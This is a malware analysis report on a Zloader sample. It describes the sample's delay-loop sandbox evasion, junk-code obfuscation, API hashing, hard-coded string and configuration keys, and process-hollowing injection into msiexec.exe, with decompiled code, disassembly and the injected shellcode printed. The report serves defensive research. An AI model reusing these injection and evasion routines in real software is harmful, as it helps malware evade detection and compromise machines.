File Analysis - 2023:03:23
example[.]com) so they can't be clicked by accident.Samples can be downloaded here
Files
- "zloader.bin.7z" (a8ed62c2573fb803b9746bc3c67198fe4cf6c3be9feff591ca10fc7a19bf4b90)
- "msiexec_4c0000_4c1000_SHELLCODE.bin.7z" (bf7ba998b7523169bc3c1865370f6345ac5a037f95583ecb7c922a7772278b67)
SUMMARY
Zloader exhibits effective obfuscation that makes manual analysis cumbersom. Zloader also has a simple, albeit noisy if not effective, anti-dynamic analysis routine that likely defeats a lot of sandbox environments due to the nature of benign actions that are not easily identifiable let alone patched at runtime. The sample we analyzed contains two decryption keys; one for necessary runtime strings and another for configuration settings. We explore both of these and employ a decryption solution for both. The effort of this research was not about the functionality of Zloader and we did not explore what Zloader does post-infection, as we were primarily considered with how Zloader lands on a machine. In this report we should that Zloader effectively spawns and infects a MSIEXEC.EXE process without leaving apparent artifacts. Zloader never fully "unpacks" during runtime, but remains encrypted and only decrypts and execute functionality as needed. Because of this, the binary living in the infected MSIEXEC.EXE process is effectively the same as the initial payload.
ANALYSIS
Expanded Execution Time:
Rather than using traditional approaches such as timing hooks and wait calls, Zloader makes use of expensive functions and repeatedly calls these in loops to drag on execution time before anything meaningful happens. In the case of this particular sample, multiple routines such as the one found at 0x00626db0 routinely call `GetTempPathA()` and write meaningless data to the directory for thousands of times. In our environment, it look about 10 minutes to to make it past this execution loop.
Code Obfuscation:
Zloader contains an extreme amount of junk code that contributes nothing or very little to overall program control flow. For example, the RC4 decryption routine below contains multiple lines that do nothing. This is likely done to defeat YARA rule matches. In the case of XOR decryption routine below, the only lines within the do-while loop are lines four, fourteen, and fifteen. The rest of the code simply exists to confer analysis.
entry
1 if (param_2 != 0) {
2 iVar8 = 0;
3 do {
4 uVar6 = bVar5 + 1 + iVar8 & 0xff; // mod 256
5 bVar1 = *(param_3 + uVar6);
6 bVar7 = uVar3 + bVar1;
7 *(param_3 + uVar6) = *(param_3 + bVar7);
8 *(param_3 + bVar7) = bVar1;
9 bVar2 = *(param_3 + uVar6);
10 uVar3 = FUN_00621940();
11 bVar1 = *(param_3 + (uVar3 & bVar2 + bVar1));
12 uVar3 = CONCAT11(*(param_1 + iVar8),bVar7);
13 iVar4 = FUN_0062ddc0(~bVar1 & 0x93,bVar1 & 0x6c);
14 *(param_1 + iVar8) = iVar4 ^ uVar3 >> 8 ^ 0x93; // out[i] = byte ptr[AL] ^ 0x93
15 iVar8 = iVar8 + 1; // i = i + 1
16 FUN_00630cc0();
17 } while (param_2 != iVar8);
18 bVar5 = bVar5 + iVar8;
19 }
Excessive NOP Instructions:
Most functions have 5-20 NOP instructions following the Function Prologue. During our analysis this initially confused Ghidra because Sleigh (Ghidra's disassembler) would stop disassembling after 10 NOP instructions. To resolve this, simply select the entire text section and do right Click + Disassemble. or hit "D" on the keyboard.
API Hashing
Zloader includes an API hashing routine and resolves all APIs this way aside from `GetTempPathA`, `GetLastError`, `GetCurrentProcessId`, and `GetCurrentProcess`. These APIs are otherwise seen in the aforementioned anti-analysis routine responsible for creating a prolonged runtime. All other APIs are resolved using the API hashing functions located at 0x00645570. There is also a function located at 0x006456c0 that will resolve the `GetProcAddress` and `LoadLibraryA` APIs. This happens at 0x006456c0. We have renamed the functions and variables according to our analysis. Note that each of these contains lots of junk code that was probably auto-generated with the use of macros at compile time.
006456c5 | PUSH 0xb9f5b9c ; kernel32.dll
006456ca | CALL dll_hash_via_peb ; return kernel32.dll address
006456cf | ADD ESP, 0x4
006456d2 | TEST EAX, EAX
006456d4 | JZ LAB_00645765
006456da | MOV ESI, EAX
006456dc | CALL generate_hash_for_GetProcAddress
006456e1 | PUSH EAX
006456e2 | PUSH ESI
006456e3 | CALL get_api_handle ; GetProcAddress
006456e8 | ADD ESP, 0x8
006456eb | MOV [hGetProcAddress], EAX
006456f0 | CALL generate_hash_for_LoadLibraryA
006456f5 | PUSH EAX
006456f6 | PUSH ESI
006456f7 | CALL get_api_handle ; LoadLibraryA
006456fc | ADD ESP, 0x8
006456ff | MOV EDI, dword ptr [hGetProcAddress] ; Buffer for GetProcAddress
00645705 | MOV [hLoadLibraryA], EAX ; Buffer for LoadLibraryA
0064570a | PUSH 0x0
0064570c | PUSH EAX
0064570d | CALL check_LoadLibraryA_Success ; Checks if LoadLibraryA call was successful
String Encryption
Zloader contains no usable strings to aid an analyst in understanding the behavior. There are two functions that will decrypt the configuration data and any runtime strings and the necessity emerges. The first is located at 0x00644ff0 and the second at 0x00644f20. These functions both have the same hard-coded decryption key and differ in handling character sets (wide character vs single).
DECRYPT_LOOP
00645030 | MOV EAX, EDI ; counter
00645032 | MOV ECX, dword ptr [PTR_s_006490] ; Key: "hZ'12WV2#0KM1heEe"
00645038 | CDQ
00645039 | IDIV dword ptr [EBP + local_14]
0064503c | MOV EAX, dword ptr [EBP + ptr_to_decryt_buff] ; decrypted_buff_base_addr
0064503f | MOVZX EBX, byte ptr [ECX + EDX*0x1]=>s_hZ'12WV2#0KM1 ; key index
00645043 | XOR BL, byte ptr [ESI + EDI*0x1] ; decrypt
00645046 | MOV byte ptr [EAX + EDI*0x1], BL ; decrypted_buff_base_addr + index
00645049 | MOVZX EAX, BL ; probably junk code block. Push the last decrypted
| ; byte to a function that does all sorts of nonsense
0064504c | PUSH 0x0
0064504e | PUSH EAX
0064504f | CALL FUN_0063cec0 ; nonsense function
00645054 | ADD ESP, 0x8
00645057 | INC EDI ; i++
00645058 | TEST AL, 0x1 ; Decrypted?
0064505a | JNZ LAB_00645086
Decryption is as simple as doing a binary XOR operation on the data, while accounting for the width of the character set. For example the data at 0x00648800 decrypts to "rundll32.exe %s,DllRegisterServer" when the wide-char string decryption function is called at 0x0062ff71. These string decryption functions takes two arguments from the stack; the encrypted string and a destination buffer in a Register.
0062ff6b PUSH EAX ; Out_Buff
0062ff6c PUSH DAT_00648800 ; rundll32.exe %s,DllRegisterServer
0062ff71 CALL string_decryptor_2 ; ushort * string_decryptor_2(ushort *param_1, ushort *param_2)
Configuration Encryption
The Zloader configuration is encrypted differently than the program strings. This makes sense in a marketing sense from an Access Broker's perspective. This way each customer gets their own (in this case) RC4 key and config payload. At address 0x0063CD47 a call is made to a function located at 0x0063d530. The former takes two arguments: an encryption key string and a pointer to an encrypted malware configuration buffer. The latter (0x0063d530) contains an RC4 Init routine, and then decrypts the configuration using the provided key.
0063cd3d | PUSH s_ckfivrotokplnlkhhlpy_006492f3 ; Key: "ckfivrotokplnlkhhlpy"
0063cd42 | PUSH DAT_00649004 ; config data
0063cd47 | CALL config_decrypt ; decrypt data
Program Execution
Zloader's user-defined main is called through the `DllRegisterServer`. The full command line to execute the sample is `C:\Windows\SysWOW64\rundll32.exe C:\Users\
If neither of the above methods work, we found that you can also patch the Zloader Entry point to jump to the correct function. This works because there are 8 NOP instructions after address 0x00632425, giving us plenty of room to write new instructions without changing memory alignment.
Original:
00632420 b8 01 00 00 00 MOV EAX, 0x1
00632425 c2 0c 00 RET 0xc
Pathched:
00632420 b8 01 00 00 00 MOV EAX, 0x1
00632425 e9 26 60 ff ff JMP DllRegisterServer
In the user-written "main" function, the majority of the initial code is junk code and timing evasion as discussed above. The interesting bits begin to happen at offset 0x0062597c. The function attempts to achieve the following operations:
1. 0x00625981: Resolve GetProcAddressand LoadLibraryA.
2. 0x0062598e: CALL GetProcessHeapthrough FUN_0062ca70(.
3. 0x006259d2: CALL GetModuleFileNameW(CURRENT_ZLOADER_PROCESS, lpFileName, 0x104
4. Set up the Image Headers
5. 0x00625a0d: Decrypt string "msiexec.exe"
6. 0x00625a27-0x00625A2F: Decrypt string "CreateProcessA"
7. 0x00625a4b: CALL CreateProcessA(0,"msiexec.exe",0,0,0,CREATE_SUSPEND,0,0,0x44,0
8. 0x00625a57: Parse the PE Header of ZLoader to get IMAGE_OPTIONAL_HEADER32->SizeOfImage (DWORD)
9. 0x00625a61-0x00625a7b:
A. Resolve VirtualAllocEx.
B. CALL VirtualAllocEx(HANDLE_TO_MSIEXEC,0,ZLOADER_SIZE,MEM_COMMIT | MEM_RESERVE,PAGE_READWRITE
(Note: If successful, VirtualAllocEx will return the address space initialized to zero in msiexec's process. In a debugger you can set a breakpoint at 0x00625A80 and see that msiexec has been created in a suspended state and an empty memory region has been allocated).
10. 0x00625b7c: CALL WriteProcessMemory(HANDLE_TO_MSIEXEC,lpBaseAddr,HANDLE_TO_ZLOADER_IN_HEAP,0x2 E00,[out]nBytesWritten
11. 0x00625baf-0x00625cf3: Generate Shellcode
12. 0x00625d2b: CALL WriteProcessMemory(HANDLE_TO_MSI_EXEC,lpBaseAddr,P_SHELLCODE,0x4A
13. 0x00625d7a: CALL GetThreadContext(HANDLE_TO_MSIEXEC_THREAD,lpContext
14. 0x00625dab: CALL VirtualProtectEx(HANDLE_TO_MSIEXEC,P_SHELLCODE,0x4A,EXECUTE
15. 0x00625de2: CALL SetThreadContext(HANDLE_TO_MSIEXEC_THREAD,ptr_to_context_structre
16. 0x00625e0a: CALL VirtualProtectEx(HANDLE_TO_MSIEXEC,lpBaseAddr,0x2E000,PAGE_EXECUTE_READWRITE
A. Note that the binary is still encrypted at this point.
17. 0x00625e47: CALL ResumeThread(HANDLE_TO_MSIEXEC_THREAD
The complete Ghidra decompiler output is appended below along with comments from our Reverse Engineering efforts. Many tasks are handled in a typical way. For example, GetProcAddress and LoadLibraryA are resolved first through walking the PEB. Zloader makes use of the same string decryption routines discussed above to decrypt necessary strings such as "msiexec.exe". The API hashing routines discussed above are the same routines used in this function to decrypt APIs. The structure of the main function is to insert junk code, generate an API hash, resolve the API through the hash, and call the API.
We have renamed this function to "load_msi_exec_and_evade(void)" as that is the main purpose as seen from steps 5-7. Steps 7-9 will parse the Zloader header and allocate space within the suspended state of `msiexec.exe`. In step 10 Zloader then generates a DWORD to XOR a copy of the Zloader binary into the memory space. After this a simple shellcode routine is generated and written into another allocated memory space within `msiexec.exe`. This shellcode is responsible for decrypting Zloader within `msiexec.exe` and jumping to the function at 0x0063ca20, which is the main function of the malware's malicious activity. The entirety of the shellcode in 77 bytes, though 8 NOP instructions prepend the actionable code, and the last 6 bytes appear to be junk code that is never executed and probably exists to defeat YARA rules.
004C0007 | 90 | nop
004C0008 | BE 00004900 | mov esi,490000
004C000D | B9 00E00200 | mov ecx,2E000
004C0012 | B8 74FCDF91 | mov eax,91DFFC74 ; Dynamically generated XOR key
004C0017 | 83F9 00 | cmp ecx,0 ; while(ctr != 0) {
004C001A | 74 09 | je 4C0025
004C001C | 3006 | xor byte ptr ds:[esi],al ; decrypt(byte[ctr])
004C001E | 46 | inc esi
004C001F | C1C0 08 | rol eax,8
004C0022 | 49 | dec ecx ; ctr-- }
004C0023 | EB F2 | jmp 4C0017
004C0025 | E9 F6C9FEFF | jmp 4ACA20 ; Jump to "called_from_msi_exec()"
; (base address + base_addr + ca20)
By setting a break point on NtResumeThread or ResumeThread, you should be able to attach a second debugging process to msiexec. There will be two handles within the infected Rundll32.exe process that point to msiexec.exe, one of which will be a thread. By setting a breakpoint on the address space of this thread you can assure controlled execution into the Zloader's main function within msiexec.exe
Appendix
undefined4 load_msiexec_and_evade(void)
{
iVar3 = junk_code_and_GetTempPathA(in_stack_fffff94c,DAT_006497ac);
uVar12 = iVar3 ^ 0x400;
uVar13 = uVar12 - iVar3;
uVar10 = uVar12 | uVar13;
uVar12 = FUN_00623590(uVar10,uVar13);
iVar3 = FUN_00627000(uVar10 + uVar12);
sVar2 = iVar3;
iVar3 = FUN_00625700();
uVar10 = iVar3 * sVar2;
sVar11 = (uVar10 | 0x200) + uVar10;
FUN_00622310(sVar11,sVar2 + 0x10000);
DVar4 = FUN_00621ad0(sVar2 + 0x10000);
sVar11 = sVar2 + -0x400 + sVar11;
FUN_00623860();
uVar12 = sVar11 * DVar4;
uVar13 = ((uVar12 * DVar4 + uVar12 ^ DVar4) * sVar11 | uVar12) ^ DVar4;
sVar2 = (uVar12 - (sVar11 + DVar4)) + uVar13 * 2;
uVar12 = FUN_00627f20((sVar2 + DVar4) * DVar4 ^ sVar2);
uVar12 = uVar12 ^ uVar13;
FUN_006248a0();
FUN_00623440(uVar12,sVar2);
FUN_00625f00(sVar2,uVar13,uVar12);
FUN_006253c0();
uVar14 = 0xffffffff;
loadlibrary_getprocadd_rc = GetProcAddr+LoadLibraryA(in_stack_fffff958);
if (loadlibrary_getprocadd_rc != '\0') {
zl_GetProccessHeap();
uVar12 = FUN_006380b0(PTR_IMAGE_DOS_HEADER_0064bad0,0);
if ((uVar12 & 1) == 0) {
pcVar5 = api_hashing(0,0xfda8b77);
(*pcVar5)(PTR_IMAGE_DOS_HEADER_0064bad0,local_5a4,0x104);
puVar1 = PTR_IMAGE_DOS_HEADER_0064bad0;
if (PTR_IMAGE_DOS_HEADER_0064bad0 != 0x0) {
iVar3 = FUN_0062a840();
/* Load returned heap from GetProcHeap */
zloader_memset_to_zero(local_39c,iVar3);
local_39c[0] = 0x44;
/* decrypt string "msiexec.exe" */
pbVar6 = string_decryptor(&DAT_00648780,local_8b);
FUN_00644910(&stack0xfffff958,pbVar6,-1);
uVar12 = gen_hash_for_CreateProcessA();
pcVar5 = api_hashing(0,uVar12);
/* CALL kernel32.CreateProcessA(0,"msiexec.exe",0,0,0,CREATE_SUSPEND,0,0,0x44,0)
*/
iVar3 = (*pcVar5)(0,&stack0xfffff958,0,0,0,4,0,0,local_39c,&local_38);
if (iVar3 == 1) {
/* Parse Zloader Opt header to get size for VirtualAllocEx */
iVar3 = z_get_sizeofimage(puVar1);
uVar12 = gen_hash_for_VirtualAllocEx();
/* Hash for VirtualAllocEx */
pcVar5 = api_hashing(0,uVar12);
/* CALL VirtualAllocEx(HANDLE_TO_MSIEXEC,0,0x2E00,0x3000,0x4); */
iVar7 = (*pcVar5)(local_38,0,iVar3,MEM_COMMIT | MEM_RESERVE,PAGE_READWRITE);
if (iVar7 != 0) {
DAT_0064bf78 = iVar7;
local_18 = iVar3;
get_qualified_path(&local_358,local_5a4);
FUN_0063b950(&local_358);
FUN_00647ab0(&local_358);
local_14 = FUN_0063d6c0(puVar1,iVar3);
local_3c = puVar1;
FUN_006237b0(local_14,puVar1);
local_24 = iVar7;
FUN_0062c0d0(local_14,iVar7);
uVar12 = FUN_00642170();
local_28 = uVar12;
if (local_18 != 0) {
local_1c = local_18;
pbVar6 = local_14;
do {
*pbVar6 = *pbVar6 ^ uVar12;
uVar13 = FUN_00624070();
pbVar6 = pbVar6 + 1;
uVar12 = (uVar12 >> 0x18 & 0xffffff90 | ~(uVar12 >> 0x18) & 0x3bdca76f) ^
(uVar12 << 8 & 0xc4235800 | ~(uVar12 << 8) & 0x3bdca76f) | ~uVar13;
local_1c = local_1c + -1;
} while (local_1c != 0);
}
local_20 = 0;
pcVar5 = api_hashing(0,0xa48b0f9);
iVar7 = local_18;
iVar3 = local_24;
/* WriteProcessMemory(HANDLE_TO_MSIEXEC,lpBaseAddr,HANDLE_TO_ZLOADER_IN_HEAP,0x2 E00,[out]nBytesWritten).
At this point we have an encrypted version written in the address space of
msiexec.exe */
iVar8 = (*pcVar5)(local_38,local_24,local_14,local_18,&local_20);
if (iVar8 == 1) {
uVar12 = gen_hash_for_VirtualAllocEx();
pcVar5 = api_hashing(0,uVar12);
/* VirtualAllocEx(HANDLE_TO_MSIEXEC,NULL,0x4A,MEM_COMMIT|MEM_RESERVE,PAGE_READWR ITE)
*/
iVar8 = (*pcVar5)(local_38,0,0x4a,0x3000,4);
/* This block generates the shellcode. The variable local_68 is the NOP
instructions. Some of the other instructions are placed into local variables
as seen with the subsequent mov byte ptr [EBP + local_*], 0x* */
if (iVar8 != 0) {
local_1c = iVar8;
local_68 = FUN_0062f400();
local_60 = 0xbe;
local_5f = iVar3;
local_5b = FUN_00621790();
local_5a = iVar7;
local_56 = 0xb8;
local_55 = local_28;
FUN_00647570(local_74);
local_358._0_1_ = 0x83;
FUN_006478c0(local_74,&local_358);
uVar12 = FUN_00630970();
local_358._0_1_ = uVar12;
FUN_006478c0(local_74,&local_358);
local_358._0_1_ = 0;
FUN_006478c0(local_74,&local_358);
local_358._0_1_ = FUN_00631040();
FUN_006478c0(local_74,&local_358);
local_358._0_1_ = FUN_0063b180();
FUN_006478c0(local_74,&local_358);
local_358._0_1_ = 0x30;
FUN_006478c0(local_74,&local_358);
uVar12 = FUN_0063b040();
local_358._0_1_ = uVar12;
FUN_006478c0(local_74,&local_358);
uVar12 = FUN_0062f840();
local_358._0_1_ = uVar12;
FUN_006478c0(local_74,&local_358);
uVar12 = FUN_006264a0();
local_358._0_1_ = uVar12;
FUN_006478c0(local_74,&local_358);
uVar12 = FUN_00622c60();
local_358._0_1_ = uVar12;
FUN_006478c0(local_74,&local_358);
local_358._0_1_ = 8;
FUN_006478c0(local_74,&local_358);
local_358._0_1_ = 0x49;
FUN_006478c0(local_74,&local_358);
local_358._0_1_ = 0xeb;
FUN_006478c0(local_74,&local_358);
uVar12 = FUN_00629c20();
local_358 = uVar12 & 0xff | local_358._1_3_ << 8;
FUN_006478c0(local_74,&local_358);
iVar3 = FUN_00647460(local_74);
src = FUN_00647a80(local_74);
zloader_memcpy(local_51,src,iVar3);
uVar12 = FUN_0062ab00();
iVar3 = local_1c;
local_43 = uVar12;
local_42 = ((0x63c9f6 - local_3c) + local_24) - local_1c;
uVar12 = FUN_0062d0a0();
pcVar5 = api_hashing(0,uVar12);
uVar14 = local_38;
uVar12 = FUN_0062efe0();
/* WriteProcessMemory(HANDLE_TO_MSI_EXEC,lpBaseAddr,P_SHELLCODE,0x4A) */
iVar3 = (*pcVar5)(uVar14,iVar3,&local_68,uVar12,&local_20);
if (iVar3 == 1) {
zloader_memset_to_zero(&local_358,0x2cc);
local_358 = FUN_00636090();
pcVar5 = api_hashing(0,0x4bbc7e4);
/* GetThreadContext(HANDLE_TO_MSIEXEC_THREAD,lpContext) */
local_14 = (*pcVar5)(local_34,&local_358);
uVar12 = gen_hash_for_VirtualProtectEx();
pcVar5 = api_hashing(0,uVar12);
uVar14 = local_38;
uVar12 = FUN_0062efe0();
uVar9 = FUN_006364b0();
iVar3 = local_1c;
/* VirtualProtectEx(HANDLE_TO_MSIEXEC,lpBaseAddr,0x4A,EXECUTE). This changes the
0x4a size shellcode */
iVar7 = (*pcVar5)(uVar14,local_1c,uVar12,uVar9,&local_20);
if (iVar7 == 1) {
local_2a0 = iVar3;
bVar15 = true;
if (local_14 == 0x1) {
pcVar5 = api_hashing(0,0x4ba87e4);
/* SetThreadContext(HANDLE_TO_MSIEXEC_THREAD,ptr_to_context_structre) */
iVar3 = (*pcVar5)(local_34,&local_358);
bVar15 = iVar3 != 1;
}
pcVar5 = api_hashing(0,0xd1a4de8);
/* VirtualProtectEx(HANDLE_TO_MSIEXEC,lpBaseAddr,0x2E000,PAGE_EXECUTE_READWRITE) .
Note that the binary is still encrypted at this point within msiexec from the
earlier scambling. */
iVar3 = (*pcVar5)(local_38,local_24,local_18,0x40,&local_20);
if (iVar3 == 1) {
if (bVar15) {
uVar12 = FUN_00634dd0();
pcVar5 = api_hashing(0,uVar12);
local_34 = 0;
}
else {
pcVar5 = api_hashing(0,0xb232744);
}
/* ResumeThread(HANDLE_TO_MSIEXEC_THREAD). Note that everything is set up by
now. Break here and attach a debugger to the msiexec process. Set a
breakpoint on the shellcode if the debugger doesn't do it automatically.
Remove all breakpoints from zloader and let the program exit. In the new
debugging window you should be able to watch the decryption happen. The
shellcode will call the routine at 0x0063ca20 */
(*pcVar5)(local_34);
}
}
}
FUN_00647360(local_74);
}
}
}
}
}
}
/* Get Hash for ExitProcess */
uVar12 = FUN_00636960();
pcVar5 = api_hashing(0,uVar12);
/* Call ExitProcess */
(*pcVar5)(0);
uVar14 = 0;
}
return uVar14;
}